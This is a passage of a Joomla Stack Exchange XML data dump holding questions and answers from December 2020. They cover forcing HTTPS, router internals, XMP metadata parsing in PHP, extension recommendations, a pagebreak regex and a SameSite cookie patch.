.htaccess file in the Joomla subdirectory to assist the above rewriting rules or hand over control of forcing HTTPS to Joomla?&lt;/li&gt;&#xA;&lt;li&gt;When I set the joomla global configuration to &amp;quot;force HTTPS: entire site&amp;quot; I get the error &lt;code&gt;HTTPS has not been enabled as it is not available on this server. HTTPS connection test failed with the following error: Connection timed out after 10000 milliseconds&lt;/code&gt; why is this?&lt;/li&gt;&#xA;&lt;li&gt;For crafting SEF URLS, will I need to do most of that work in .htaccess within the joomla subdirectory?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;I greatly appreciate any help or documentation of how others have solved these problems. I am sure I am not the first.&lt;/p&gt;&#xA;" OwnerUserId="10936" LastActivityDate="2021-02-13T07:08:30.680" Title="Making /joomla subdirectory the website root AND forcing HTTPS" Tags="|joomla-3.x|sef|.htaccess-configuration|global-configuration|https|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="28715" PostTypeId="2" ParentId="28710" CreationDate="2020-12-04T23:58:26.323" Score="1" Body="&lt;p&gt;Before Joomla 3.8.13, a non-super user could update core components. From 3.8.13, that is no longer possible.&lt;/p&gt;&#xA;" OwnerUserId="5627" LastActivityDate="2020-12-04T23:58:26.323" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28716" PostTypeId="1" AcceptedAnswerId="28718" CreationDate="2020-12-05T22:11:27.800" Score="2" ViewCount="131" Body="&lt;p&gt;I've thought it is done by modifying .htaccess file, but it is not. Making changes to the &amp;quot;force https&amp;quot; option doesn't change the .htaccess file. Can someone explain to me what is the mechanism behind Joomla's &amp;quot;force https&amp;quot; setting in the Global Configuration?&lt;/p&gt;&#xA;" OwnerUserId="5680" LastActivityDate="2020-12-06T06:58:38.913" Title="How does Joomla &quot;force https&quot;?" Tags="|ssl|https|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28717" PostTypeId="1" CreationDate="2020-12-06T02:55:04.647" Score="1" ViewCount="33" Body="&lt;p&gt;Using Custom Fields For All and have problem with importing of it with CSVI.&lt;/p&gt;&#xA;&lt;p&gt;I have the product with several sizes.&#xA;Each of sizes have increase in price.&lt;/p&gt;&#xA;&lt;p&gt;For example.&lt;/p&gt;&#xA;&lt;p&gt;S - 100$&#xA;M - 102$&#xA;L - 106$&lt;/p&gt;&#xA;&lt;p&gt;My import file:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;product_name,product_category,product_price,custom_param,virtuemart_product_id,custom_price,published,custom_title,custom_value,product_sku&#xA;T-shirt, Clothes, 100, S~M~L, 15, 0~102~106, 1, Size~Size~Size, customfieldsforall~customfieldsforall~customfieldsforall, tshirt, Y~Y~Y &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;On Product Page after import we can see Sizes that displayed properly, but we have the same price on each Size (102$):&#xA;&lt;a href=&quot;https://i.stack.imgur.com/IGq2P.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/IGq2P.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;If we go to Admin Panel &amp;gt; Product (T-Shirt)&amp;gt;Custom Fields we can see that displayed only one value:&lt;a href=&quot;https://i.stack.imgur.com/HKJzN.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/HKJzN.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;How can I solve this problem?&lt;/p&gt;&#xA;" OwnerUserId="14709" LastActivityDate="2020-12-06T02:55:04.647" Title="Same price on multiple values on CSVI custom fields import" Tags="|virtuemart|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="28718" PostTypeId="2" ParentId="28716" CreationDate="2020-12-06T06:58:38.913" Score="4" Body="&lt;p&gt;It is handled within the &lt;code&gt;SiteRouter&lt;/code&gt; class in Joomla, more specifically in its &lt;code&gt;parse()&lt;/code&gt; method where the following condition changes the &lt;code&gt;scheme&lt;/code&gt; part of the &lt;strong&gt;URI&lt;/strong&gt; if &lt;code&gt;force_ssl&lt;/code&gt; property of the application is set that way and then redirect it:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;if ($this-&amp;gt;app-&amp;gt;get('force_ssl') == 2 &amp;amp;&amp;amp; strtolower($uri-&amp;gt;getScheme()) !== 'https')&#xA;    {&#xA;        // Forward to https&#xA;        $uri-&amp;gt;setScheme('https');&#xA;        $this-&amp;gt;app-&amp;gt;redirect((string) $uri, 301);&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;More info on &lt;strong&gt;SiteRouter&lt;/strong&gt; class is here:&#xA;&lt;a href=&quot;https://api.joomla.org/cms-3/classes/Joomla.CMS.Router.SiteRouter.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://api.joomla.org/cms-3/classes/Joomla.CMS.Router.SiteRouter.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12524" LastActivityDate="2020-12-06T06:58:38.913" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="28719" PostTypeId="2" ParentId="9546" CreationDate="2020-12-08T05:01:07.853" Score="0" Body="&lt;p&gt;First assigned user object to &lt;code&gt;$user&lt;/code&gt; variable&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$user = JFactory::getUser();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;strong&gt;Method 1&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;Check guest property of the user object, if it is 1 then user not logged in Joomla&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;if ($user-&amp;gt;guest) {&#xA;    echo &amp;quot;Please login in site .&amp;quot;;&#xA;} else {&#xA;    echo &amp;quot;welcome  &amp;quot;. $user-&amp;gt;name ;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;strong&gt;Method 2&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;Check user id is zero, if it is zero means user not logged in Joomla&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;if ($user-&amp;gt;id == 0) {&#xA;    echo &amp;quot;Please login in site . &amp;quot;;&#xA;} else {&#xA;    echo &amp;quot;welcome &amp;quot; . $user-&amp;gt;name ;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="14604" LastActivityDate="2020-12-08T05:01:07.853" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28723" PostTypeId="1" AcceptedAnswerId="28732" CreationDate="2020-12-09T07:11:27.403" Score="0" ViewCount="87" Body="&lt;p&gt;Is it possible to connect to an external mongo db or some other no sql database to get some data?&lt;/p&gt;&#xA;&lt;p&gt;I don't mean to have no sql database as the main joomla installation. Joomla is installed to mariadb but I need to get data from third no sql database preferable mongo db.&lt;/p&gt;&#xA;&lt;p&gt;Is it possible?&lt;/p&gt;&#xA;&lt;p&gt;I haven't found any tutorial on this.&lt;/p&gt;&#xA;" OwnerUserId="14713" LastActivityDate="2022-01-06T20:04:40.443" Title="Connect to External Mongo" Tags="|joomla-3.x|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="28725" PostTypeId="2" ParentId="28666" CreationDate="2020-12-09T15:50:14.483" Score="1" Body="&lt;p&gt;Thanks a lot, &lt;a href=&quot;https://joomla.stackexchange.com/users/2082/james-shaver&quot;&gt;James Shaver&lt;/a&gt;, I had no idea that such a PHP repository as &lt;a href=&quot;https://packagist.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;packagist.org&lt;/a&gt; existed (tried Pear and Pecl and various Google searches). I found the &lt;a href=&quot;https://packagist.org/packages/wikimedia/xmp-reader&quot; rel=&quot;nofollow noreferrer&quot;&gt;Wikimedia/XMP-reader&lt;/a&gt; (Ver. 0.7) and installed and ran it according to instructions. Works great - see below. Also read your PDF and I learnt that the XMP Data block cannot be trusted to be authorative. Sometimes the authorative data must be found in the EXIF data block. Older image files may contain other formats in the EXIF data block. So if you are to find the authorative data blocks you must create a program that looks up the data blocks depending on image format (JPG, TIFF, PSD, PNG, GIF ...), parse the data blocks according to format and then decide which data in which block is authorative if not the XMP block. That complexity has basically taught me that it would be over ambitious of me to try to create a Joomla extension that would be able to access and use the right meta data in ANY given image file. Instead I am going to state that the XMP block will be considered authorative. You can accomplish that using a number of tools mentioned in &lt;a href=&quot;https://en.wikipedia.org/wiki/Extensible_Metadata_Platform&quot; rel=&quot;nofollow noreferrer&quot;&gt;Wikipedia: Extensible Metadata Platform&lt;/a&gt;. I personally use Photoshop Elements Organizer.&lt;/p&gt;&#xA;&lt;p&gt;This is the running code tested under Visual Studio Encode and PHP 7.4 on Windows 10. It assumes that the XMP block can be found by looking for the string &amp;lt;x:xmpmeta' no matter what the image format.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;  require __DIR__ . '/vendor/autoload.php';&#xA;  use Wikimedia\XMPReader\Reader as XMPReader;&#xA;&#xA; function getXmpData($filename, $chunk_size = 50000){      &#xA;     $buffer = NULL;&#xA;     if (($file_pointer = fopen($filename, 'r')) === FALSE) {&#xA;        throw new RuntimeException('Could not open file for reading');&#xA;     }&#xA;&#xA;     $chunk = fread($file_pointer, $chunk_size);&#xA;     if (($posStart = strpos($chunk, '&amp;lt;x:xmpmeta')) !== FALSE) {&#xA;         $buffer = substr($chunk, $posStart);&#xA;         $posEnd = strpos($buffer, '&amp;lt;/x:xmpmeta&amp;gt;');&#xA;         $buffer = substr($buffer, 0, $posEnd + 12);&#xA;     }&#xA;&#xA;     fclose($file_pointer);&#xA;&#xA;     // recursion here&#xA;     if(!strpos($buffer, '&amp;lt;/x:xmpmeta&amp;gt;')){&#xA;         $buffer = getXmpData($filename, $chunk_size*2);&#xA;     }&#xA;&#xA;     return $buffer;&#xA; }&#xA; $xmp_data = getXmpData('cnj.dk.20191018_084035.jpg',50000);&#xA;&#xA; // Check if the php instance has the required supported libraries to parse XMP&#xA; $isXMPSupported = XMPReader::isSupported();&#xA;&#xA; if ($isXMPSupported) {&#xA;     echo &amp;quot;XMP suppported\n&amp;quot;;&#xA; } else {&#xA;     echo &amp;quot;XMP not supported\n&amp;quot;;&#xA;     exit;&#xA; }&#xA;&#xA; $xmp = new XMPReader();&#xA; $xmp-&amp;gt;parse($xmp_data);&#xA; $xmp-&amp;gt;parseExtended($xmp_data);&#xA; $results = $xmp-&amp;gt;getResults();&#xA; var_dump($results);&#xA;&#xA; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;You can find the JPEG file used at &lt;a href=&quot;https://cnj.dk/images/blog/2020/cnj.dk.20191018_084035.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://cnj.dk/images/blog/2020/cnj.dk.20191018_084035.jpg&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Here is a snippet of the output&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;            XMP suppported&#xA;        array(2) {&#xA;          [&amp;quot;xmp-exif&amp;quot;]=&amp;gt;&#xA;          array(33) {&#xA;            [&amp;quot;ImageWidth&amp;quot;]=&amp;gt;&#xA;            string(4) &amp;quot;4032&amp;quot;&#xA;            ....&#xA;            [&amp;quot;DateTimeOriginal&amp;quot;]=&amp;gt;&#xA;            string(19) &amp;quot;2019:10:18 10:40:35&amp;quot;&#xA;            ....&#xA;            [&amp;quot;GPSLatitude&amp;quot;]=&amp;gt;&#xA;            float(42.3402535)&#xA;            [&amp;quot;GPSLongitude&amp;quot;]=&amp;gt;&#xA;            float(-3.8358976833333)&#xA;            ....&#xA;      }&#xA;          [&amp;quot;xmp-general&amp;quot;]=&amp;gt;&#xA;          array(6) {&#xA;            [&amp;quot;DateTime&amp;quot;]=&amp;gt;&#xA;            string(19) &amp;quot;2020:03:30 22:48:09&amp;quot;&#xA;            [&amp;quot;Software&amp;quot;]=&amp;gt;&#xA;            string(23) &amp;quot;Elements Organizer 16.0&amp;quot;&#xA;            [&amp;quot;DateTimeDigitized&amp;quot;]=&amp;gt;&#xA;            string(19) &amp;quot;2019:10:18 10:40:35&amp;quot;&#xA;            [&amp;quot;DateTimeMetadata&amp;quot;]=&amp;gt;&#xA;            string(19) &amp;quot;2020:03:30 22:48:09&amp;quot;&#xA;            [&amp;quot;Keywords&amp;quot;]=&amp;gt;&#xA;            array(2) {&#xA;              [0]=&amp;gt;&#xA;              string(23) &amp;quot;Camino de Santiago 2019&amp;quot;&#xA;              [&amp;quot;_type&amp;quot;]=&amp;gt;&#xA;              string(2) &amp;quot;ul&amp;quot;&#xA;            }&#xA;            [&amp;quot;ImageDescription&amp;quot;]=&amp;gt;&#xA;            array(2) {&#xA;              [&amp;quot;x-default&amp;quot;]=&amp;gt;&#xA;              string(97) &amp;quot;Day 11: Beautiful wall painting in a small village shortly after Tardajos (Rabé de las Calzadas)&amp;quot;&#xA;              [&amp;quot;_type&amp;quot;]=&amp;gt;&#xA;              string(4) &amp;quot;lang&amp;quot;&#xA;            }&#xA;          }&#xA;        }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="14657" LastEditorUserId="14657" LastEditDate="2020-12-09T15:55:40.273" LastActivityDate="2020-12-09T15:55:40.273" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28726" PostTypeId="1" CreationDate="2020-12-09T17:11:56.633" Score="0" ViewCount="30" Body="&lt;p&gt;I'm thinking about creating a certain website and I'm not sure if Joomla is a tool I could use and would be one of the best choices.&lt;/p&gt;&#xA;&lt;p&gt;I would like to create something like &lt;a href=&quot;https://www.imdb.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.imdb.com/&lt;/a&gt; , i.e. a site which would be a ranking of certain products, with tags, ratings, opinions, where it would be possible to display for example top 10 products which were tagged by a certain label, these things. Additionally, I'd like it to be a social medium, where people can talk, ask questions on forum etc.&lt;/p&gt;&#xA;&lt;p&gt;Is Joomla a correct tool to use in such a case? Or is it not really created to hold such websites? Why is it, why isn't it? Is there a much stronger alternative?&lt;/p&gt;&#xA;&lt;p&gt;I know this is a forum with questions mainly about administering Joomla, but I didn't find anything against such questions in &lt;a href=&quot;https://joomla.stackexchange.com/tour&quot;&gt;tour&lt;/a&gt;, &lt;a href=&quot;https://joomla.stackexchange.com/help/on-topic&quot;&gt;good questions&lt;/a&gt; and &lt;a href=&quot;https://joomla.stackexchange.com/help/dont-ask&quot;&gt;bad questions&lt;/a&gt;. So I hope it goes.&lt;/p&gt;&#xA;" OwnerUserId="14716" LastActivityDate="2020-12-10T00:34:00.313" Title="Is Joomla a correct choice for a social medium with rankings of products?" Tags="|joomla-3.x|component|module|extensions|tags|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="28727" PostTypeId="2" ParentId="28726" CreationDate="2020-12-10T00:34:00.313" Score="1" Body="&lt;p&gt;Joomla has at least some of the required functionality such as custom fields and other features can be added using third party extensions.&lt;/p&gt;&#xA;&lt;p&gt;There is at least one extension in the Joomla Extensions Directory, &lt;a href=&quot;https://extensions.joomla.org/extension/sp-movie-database&quot; rel=&quot;nofollow noreferrer&quot;&gt;SP Movie Database&lt;/a&gt; to make it easy to create a movie database but it may not have all the features you require (e.g. front end access for website visitors to contribute to content etc).&lt;/p&gt;&#xA;&lt;p&gt;You may also be able to customise a &lt;a href=&quot;https://extensions.joomla.org/tags/directory&quot; rel=&quot;nofollow noreferrer&quot;&gt;directory extension&lt;/a&gt; or possibly a &lt;a href=&quot;https://extensions.joomla.org/tags/shopping-cart&quot; rel=&quot;nofollow noreferrer&quot;&gt;shopping cart extension&lt;/a&gt; in catalog mode into a movie database. Shopping carts often have ratings and reviews built in that you can take advantage of.&lt;/p&gt;&#xA;&lt;p&gt;WordPress and other content management systems may be just as suitable as Joomla.&lt;/p&gt;&#xA;&lt;p&gt;You should also be able to find specific scripts to set up a movie database website although these may not include all the CMS features you will find in Joomla or WordPress or similar.&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2020-12-10T00:34:00.313" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28728" PostTypeId="1" AcceptedAnswerId="28729" CreationDate="2020-12-10T16:16:47.287" Score="2" ViewCount="98" Body="&lt;p&gt;I have created 1000 joomla articles via console import (It was a migration from other source).&#xA;Everything is working fine (Tagging, Intro-Text, Custom fields and so on) but i have a problem with system pagebreaks.&lt;/p&gt;&#xA;&lt;p&gt;The system pagebreak and the introtext is working in the same way: inserting special &lt;code&gt;&amp;lt;hr&amp;gt;&lt;/code&gt; elements in the texts, like:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;!-- introtext --&amp;gt;&#xA;&amp;lt;hr id=&amp;quot;system-readmore&amp;quot; /&amp;gt;&#xA;&amp;lt;!-- system pagebreak --&amp;gt;&#xA;&amp;lt;hr title=&amp;quot;2&amp;quot; alt=&amp;quot;2&amp;quot; class=&amp;quot;system-pagebreak&amp;quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The &amp;quot;system-readmore&amp;quot; is working great but the &amp;quot;system-pagebreak&amp;quot; is not working correctly.&#xA;The &amp;quot;system-pagebreak&amp;quot; are outputted in frontend as real &lt;code&gt;&amp;lt;hr&amp;gt;&lt;/code&gt; elements. If i go to backend, open the article and just save it - after that it works.&#xA;So after console import of the article the &lt;code&gt;&amp;lt;hr&amp;gt;&lt;/code&gt; are inserted correctly but i have to manually save the article in backend to get them to work.&lt;/p&gt;&#xA;&lt;p&gt;There must be a identifier or something i am missing. I thought it is just like the &amp;quot;system-readmore&amp;quot; but it isn't.&lt;/p&gt;&#xA;&lt;p&gt;Does someone know what i am missing, i checked the debugger of joomla but cant find a hint.&lt;/p&gt;&#xA;" OwnerUserId="14718" LastActivityDate="2020-12-11T12:12:14.670" Title="Programmatically created article: System-Pagebreak problem" Tags="|joomla-3.x|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="28729" PostTypeId="2" ParentId="28728" CreationDate="2020-12-11T12:12:14.670" Score="4" Body="&lt;p&gt;Solution was quiet simple. It was a self-closing HTML element issue:&lt;/p&gt;&#xA;&lt;p&gt;If you face the same problem, check that your programmatically inserted &lt;code&gt;&amp;lt;hr&amp;gt;&lt;/code&gt; system pagebreaks have a closing slash:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;-- CORRECT --&amp;gt;&#xA;&amp;lt;hr title=&amp;quot;2&amp;quot; alt=&amp;quot;2&amp;quot; class=&amp;quot;system-pagebreak&amp;quot; /&amp;gt;&#xA;&#xA;&amp;lt;-- WILL NOT WORK --&amp;gt;&#xA;&amp;lt;hr title=&amp;quot;2&amp;quot; alt=&amp;quot;2&amp;quot; class=&amp;quot;system-pagebreak&amp;quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;In HTML5 generally this is no issue but the joomla core pagebreak plugin uses the following regex to determine if it is a system pagebreak or not:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;// plugins/content/pagebreak/pagebreak.php:67&#xA;&#xA;$regex = '#&amp;lt;hr(.*)class=&amp;quot;system-pagebreak&amp;quot;(.*)\/&amp;gt;#iU';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="14718" LastActivityDate="2020-12-11T12:12:14.670" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="28730" PostTypeId="1" CreationDate="2020-12-12T14:22:33.800" Score="0" ViewCount="246" Body="&lt;p&gt;After some problems with a Joomla 4( beta 6) install on ubuntu 18.04 with Nginx tried another instance for test purposes. This time on an Ubuntu 20 server with Litespeed( Open LS). Wich I don't know too much about, just that it should similarly work with Joomla to some point as Apache but being less resource demanding.&lt;/p&gt;&#xA;&lt;p&gt;Everything works good except one thing. No matter what ( Android)mobile browser I choose, whenever I visit the backend of my test joomla install I get no CSS/JS rendered and the error message: &lt;strong&gt;Warning! Internet Explorer should not be used&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;If someone knows what could be in culprit to help me make some light I'd be gratefull. Rewrite rules of my install are the ones from thedefault Joomla 4 .htaccess. Don't know about any missing PHP dependency as I didn't get any warning from Joomla.&lt;/p&gt;&#xA;" OwnerUserId="14725" LastActivityDate="2020-12-12T14:22:33.800" Title="Warning! Internet Explorer should not be used error, on mobile browsers" Tags="|administrator|joomla-4.x|mobile-detection|" AnswerCount="0" CommentCount="9" ContentLicense="CC BY-SA 4.0" />
  <row Id="28731" PostTypeId="2" ParentId="28713" CreationDate="2020-12-12T16:03:50.730" Score="2" Body="&lt;p&gt;Latest releases of Easy Discuss actually offers this feature. Once you upload the image you can insert anywhere in your message.&lt;/p&gt;&#xA;&lt;p&gt;Also if you want to keep using JCE, you may just configure the filesystem options for your users JCE profile to only allow access to a specific directory tied with your users' id.&lt;/p&gt;&#xA;" OwnerUserId="14318" LastActivityDate="2020-12-12T16:03:50.730" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28732" PostTypeId="2" ParentId="28723" CreationDate="2020-12-12T17:09:45.267" Score="0" Body="&lt;p&gt;Yes, it is possible, but this falls outside of the Joomla realm and you'll need to develop it yourself.&lt;/p&gt;&#xA;&lt;p&gt;Here's a starting point for MongoDB drivers in PHP: &lt;a href=&quot;https://www.tutorialspoint.com/mongodb/mongodb_php.htm&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.tutorialspoint.com/mongodb/mongodb_php.htm&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2082" LastActivityDate="2020-12-12T17:09:45.267" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28733" PostTypeId="1" CreationDate="2020-12-12T23:10:53.720" Score="0" ViewCount="35" Body="&lt;p&gt;I am looking for a specific module for Joomla, open source or paid does not matter, most importantly it has the options I need.&lt;/p&gt;&#xA;&lt;p&gt;What I am looking for is a portfolio module where each photographer can have their own subpage with their own art (photos and movies).&lt;/p&gt;&#xA;&lt;p&gt;The main page should be a page where there is a photo of the photographer and the opportunity to add a little text about the photographer and his work.&lt;/p&gt;&#xA;&lt;p&gt;The subpages (each photographer's main page) must be a main page with a text and a photo of the photographer, and then all his photo galleries or movie sets must be listed.&lt;/p&gt;&#xA;&lt;p&gt;So basically a module that can create a huge portfolio with many subpages contains photo sets and movies.&#xA;Does anyone know a good module that can fit this requirement?&lt;/p&gt;&#xA;" OwnerUserId="14626" LastActivityDate="2020-12-13T00:33:30.870" Title="Looking for a portfolio module?" Tags="|joomla-3.x|php|module|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28734" PostTypeId="2" ParentId="28733" CreationDate="2020-12-13T00:33:30.870" Score="1" Body="&lt;p&gt;I am not aware of any ready made multi-user portfolio extension for Joomla and you may need a combination of extensions together with the core Joomla features to achieve all the functionality you require.&lt;/p&gt;&#xA;&lt;p&gt;If you want photographers to be able to manage photo albums from the front-end of the website, this limits your choices quite a bit as there are only a few gallery extensions with front-end management features. Here are some examples I have used:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://extensions.joomla.org/extension/ignite-gallery&quot; rel=&quot;nofollow noreferrer&quot;&gt;Ignite Gallery&lt;/a&gt; (paid)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://extensions.joomla.org/extension/6gallery&quot; rel=&quot;nofollow noreferrer&quot;&gt;Balbooa Joomla Gallery&lt;/a&gt; (paid)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://extensions.joomla.org/extension/joomgallery&quot; rel=&quot;nofollow noreferrer&quot;&gt;JoomGallery&lt;/a&gt; (free)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;You can find others in the &lt;a href=&quot;https://extensions.joomla.org&quot; rel=&quot;nofollow noreferrer&quot;&gt;Joomla Extensions Directory&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;You may need an extension to restrict users to specific folders such as:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://extensions.joomla.org/extension/kl-my-media&quot; rel=&quot;nofollow noreferrer&quot;&gt;KL My Media&lt;/a&gt; (Paid)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://extensions.joomla.org/extension/rsfiles&quot; rel=&quot;nofollow noreferrer&quot;&gt;RSFiles!&lt;/a&gt; (Paid)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;You may be able to use one of the social / community extensions which usually seem to include shared photo albums but these may be overkill for what you need:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://extensions.joomla.org/extension/easysocial&quot; rel=&quot;nofollow noreferrer&quot;&gt;EasySocial&lt;/a&gt; (Paid)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://extensions.joomla.org/extension/jomsocial&quot; rel=&quot;nofollow noreferrer&quot;&gt;JomSocial&lt;/a&gt; (Paid)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://extensions.joomla.org/extension/community-builder&quot; rel=&quot;nofollow noreferrer&quot;&gt;Community Builder&lt;/a&gt; (Basics are Free)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://extensions.joomla.org/extension/sociable&quot; rel=&quot;nofollow noreferrer&quot;&gt;Sociable&lt;/a&gt; (Paid)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="120" LastActivityDate="2020-12-13T00:33:30.870" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28735" PostTypeId="1" AcceptedAnswerId="28737" CreationDate="2020-12-13T14:51:46.373" Score="2" ViewCount="55" Body="&lt;p&gt;I want to use the Joomla component &amp;quot;ProFiles&amp;quot;. I want to setup a usergroup which can up/download files. How must iI implement the call to the component - the way I'm doing it is as follows: &lt;a href=&quot;https://websiteabcd.xx/administrator/index.php?option=com_profiles&amp;amp;format=raw&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://websiteabcd.xx/administrator/index.php?option=com_profiles&amp;amp;format=raw&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;This works only for SuperUsers. Is it possible to implement this component for a configured usergroup?&lt;/p&gt;&#xA;" OwnerUserId="2267" LastEditorUserId="12352" LastEditDate="2020-12-13T22:24:48.563" LastActivityDate="2020-12-14T16:31:16.920" Title="Using ProFiles Joomla Web Filemanager - it runs only with administrator rights" Tags="|component|joomla-user-groups|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28736" PostTypeId="2" ParentId="26804" CreationDate="2020-12-14T11:41:15.287" Score="0" Body="&lt;p&gt;A &lt;strong&gt;temporary&lt;/strong&gt; solution for Joomla 3.9.x (same code for older versions but in different path, check at libraries\joomla\input\cookie.php)&lt;/p&gt;&#xA;&lt;p&gt;Modify /libraries/src/Input/Cookie.php&lt;/p&gt;&#xA;&lt;p&gt;Replace whole &lt;strong&gt;function set&lt;/strong&gt; (line 89) with&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;public function set($name, $value, $expire = 0, $path = '', $domain = '', $secure = false, $httpOnly = false, $samesite=null)&#xA;{&#xA;    if (is_array($value))&#xA;    {&#xA;        foreach ($value as $key =&amp;gt; $val)&#xA;        {&#xA;            $this-&amp;gt;cookieHelper($name . &amp;quot;[$key]&amp;quot;, $val, $expire, $path, $domain, $secure, $httpOnly,$samesite);&#xA;        }&#xA;    }&#xA;    else&#xA;    {&#xA;        $this-&amp;gt;cookieHelper($name, $value, $expire, $path, $domain, $secure, $httpOnly,$samesite);&#xA;    }&#xA;&#xA;    $this-&amp;gt;data[$name] = $value;&#xA;}&#xA;&#xA;protected function cookieHelper($name, $value, $expire = 0, $path = '', $domain = '', $secure = false, $httpOnly = false, $samesite=null)&#xA;{&#xA;    $defSameSite=ini_get('session.cookie_samesite')?ini_get('session.cookie_samesite'):'None';&#xA;    $samesite=is_null($samesite) || !in_array(strtolower($samesite),array('none','lax','strict'))?$defSameSite:$samesite;&#xA;&#xA;    if (PHP_VERSION_ID &amp;lt; 70300)&#xA;    {&#xA;        setcookie($name, $value, $expire,$path.&amp;quot;; samesite=&amp;quot;.$samesite, $domain, $secure, $httponly);&#xA;    }&#xA;    else&#xA;    {&#xA;        setcookie($name, $value, [&#xA;            'expires' =&amp;gt; $expire,&#xA;            'path' =&amp;gt; $path,&#xA;            'domain' =&amp;gt; $domain,&#xA;            'secure' =&amp;gt; $secure,&#xA;            'httponly' =&amp;gt; $httponly,&#xA;            'samesite' =&amp;gt; $samesite,&#xA;        ]);&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Now you can set globally from php.ini or php the code, the value of &amp;quot;SameSite&amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;php.ini&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;session.cookie_samesite=None&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;PHP Code&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;ini_set('session.cookie_samesite','None');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8936" LastActivityDate="2020-12-14T11:41:15.287" CommentCount="0" ContentLicense="CC BY-SA 